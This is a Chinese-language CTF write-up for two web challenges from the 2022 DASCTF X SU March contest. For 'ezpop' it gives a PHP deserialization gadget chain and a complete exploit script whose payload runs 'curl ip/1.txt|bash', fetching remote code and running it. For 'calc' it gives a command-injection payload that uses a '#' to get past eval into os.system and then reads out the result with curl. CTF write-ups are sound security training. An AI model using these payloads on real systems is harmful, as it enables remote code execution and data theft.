2022 DASCTF X SU 三月赛(部分WEB)

web

ezpop

因为疫情学校周末开始补课了,昨天就中午看了看题,做了一个web,挺简单的简单记录下。利用链很好找。说下坑点吧。当用hackerbar传入cmd参数时要使用raw,如下

然后导致我以为是需要原生类进行反序列化。

利用链

fin::__destruct()---->what::__toString()----->fin::run----->crow::__invoke()----->fin::world()----->fin::__call()----->mix::get_flag()

到达get_flag()后绕过#号过滤采用换行符。

exp 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class crow
{
public $v1;
public $v2;
}

class fin
{
public $f1;

}

class what{
public $a;
}
class mix{
public $m1;
}
//
$a = new fin();
$e = new fin();
$f = new fin();
$b = new what();
$c = new mix();
$d = new crow();

$a->f1=$b;
$b->a=$e;
$e->f1=$d;
$d->v1=$f;
$f->f1=$c;
$c->m1="\nsystem('curl ip/1.txt|bash');";

echo urlencode(serialize($a));

成功得到flag

calc

题目给了源码,观察源码分析

qrpVXV.png

在这段代码中存在一个可控点num,通过GET方式传入。waf中为过滤,在linux中是可以执行命令的,但是在eval中会报错。

qrpm0U.png

看下面的os.system(),传入的参数为log,log中存在可控num,于是可以通过上个题目中的#来绕过eval()进入os.system()。

payload

1
1#`ls`

再通过curl将tmp/log.txt外带出来即可

qrpMtJ.png

查看flag文件即可

qrpt0O.png